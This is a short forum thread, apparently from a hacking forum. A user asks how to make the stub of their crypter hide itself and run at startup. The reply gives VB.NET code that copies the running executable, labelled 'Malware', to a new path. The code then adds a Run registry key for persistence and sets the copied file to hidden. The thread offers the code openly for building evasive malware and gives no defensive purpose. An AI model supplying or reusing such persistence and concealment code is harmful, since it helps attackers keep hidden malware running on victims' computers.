Thread: [How to add server to startup / make file hidden](#)

Aix0 - December 15, 2018, 5:39 am

Hi guys,

I'm new at the .Net section and i need help. I want my Crypter (if the checkbox (hidden) is checked) to make for example my Stub hidden or add it to startup. But i dont know how? Can someone help? :)

NYANxCAT - December 15, 2018, 6:46 am

```
Using Drop As New IO.FileStream("Path", IO.FileMode.Create)
    Dim Malware As Byte() = IO.File.ReadAllBytes(Windows.Forms.Application.ExecutablePath)
    Drop.Write(Malware, 0, Malware.Length)
End Using
```

```
Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\
Run\").SetValue("Name", "Path")
IO.File.SetAttributes("Path", IO.FileAttributes.Hidden)
```
